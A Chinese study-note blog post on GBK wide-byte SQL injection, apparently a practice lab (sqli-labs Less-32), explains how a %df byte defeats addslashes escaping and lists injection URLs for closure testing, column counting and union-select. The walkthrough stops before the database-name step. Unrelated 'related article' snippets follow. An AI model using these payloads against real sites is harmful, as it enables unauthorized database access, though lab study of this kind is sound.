【PTE-day05 宽字节注入】

news/2024/7/5 7:26:55

1、函数

过滤输入的函数:
addslashes
mysql_real_escape_string 
mysql_escape_string

当字符的大小为一个字节时,称之为窄字节 例如ascii编码
当字符的大小为两个字节时,称之为宽字节 例如GB2312、GBK、GB8030

mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围

2、宽字节注入

原理:
 当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字。
 当注入点使用转义函数对输入的特殊字符进行转义时,考虑宽字节注入。

'----->\'

ascii 单字节
GBK 宽字节

📙(1)判断闭合方式

http://124.222.124.9:8888/Less-32/?id=1%df' and 1=2 %23

📚(2)判断列数

http://124.222.124.9:8888/Less-32/?id=1%df' order by 3%23

📓(3)查看回显位置

http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,2,3%23

📒(4)查看库名


http://lihuaxi.xjx100.cn/news/1766962.html

相关文章

省钱兄短剧短视频小程序是如何运营的?

随着短视频的兴起,越来越多的人热衷于在闲暇时间刷短视频。在这种背景下,省钱兄短剧短视频小程序应运而生,以一种新颖、有趣的方式满足了用户的观看需求。本文将详细介绍这个小程序的成功运营策略。 产品特点 内容丰富:省钱兄短…

1212. 地宫取宝

题目&#xff1a; 1212. 地宫取宝 - AcWing题库 思路&#xff1a;dp&#xff08;最长上升子序列和摘花生的结合&#xff09; 代码&#xff1a; #include<iostream> using namespace std; const int N 55; const int MOD 1000000007;int n, m, k; int w[N][N];//每个坐…

图形界面应用案例——关灯游戏(以及扩展)(python)

7.8 图形界面应用案例——关灯游戏 题目: [案例]游戏初步——关灯游戏。 关灯游戏是很有意思的益智游戏,玩家通过单击关掉(或打开)一盏灯。如果关(掉(或打开)一个电灯,其周围(上下左右)的电灯也会触及开关,成功地关掉所有电灯即可过关。 图7-43 关灯游戏运行效…

Gerrit lfs安装及配置

Gerrit版本&#xff1a;3.1.4 lfs下载&#xff1a;Zuul Gerrit CI界面已经没有3.1.4对应版本的lfs.jar了&#xff0c;需要从上面的页面下载。 一、安装配置lfs 将上面下载的lfs.jar放到$GERRIT_SITE/plugins目录。 修改配置文件&#xff1a;$GERRIT_SITE/etc/gerrit.config …

2023/11/8JAVA学习

多个条件也可以&&放在一块,支持链式编程 map()数据加工,一个对象转化为另一个 不能这样写 不会去重报错

小程序制作(超详解!!!)第十五节 自动随机变化的三色旗

1.例题描述 设计一个小程序&#xff0c;开始时界面上显示一个三色旗和一个按钮&#xff0c;当点击按钮时&#xff0c;三色旗的颜色会发生随机变化&#xff0c;即使不点击按钮&#xff0c;三色旗的颜色也会每隔一定时间自动发生变化。 2.index.wxml <view class"box&…

Python算法例8 将整数A转换为B

1. 问题描述 给定整数A和B&#xff0c;求出将整数A转换为B&#xff0c;需要改变bit的位数。 2. 问题示例 把31转换为14&#xff0c;需要改变2个bit位&#xff0c;即&#xff1a;&#xff08;31&#xff09;10&#xff08;11111&#xff09;2&#xff0c;&#xff08;14&…

基于SSM的二手车交易网站的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…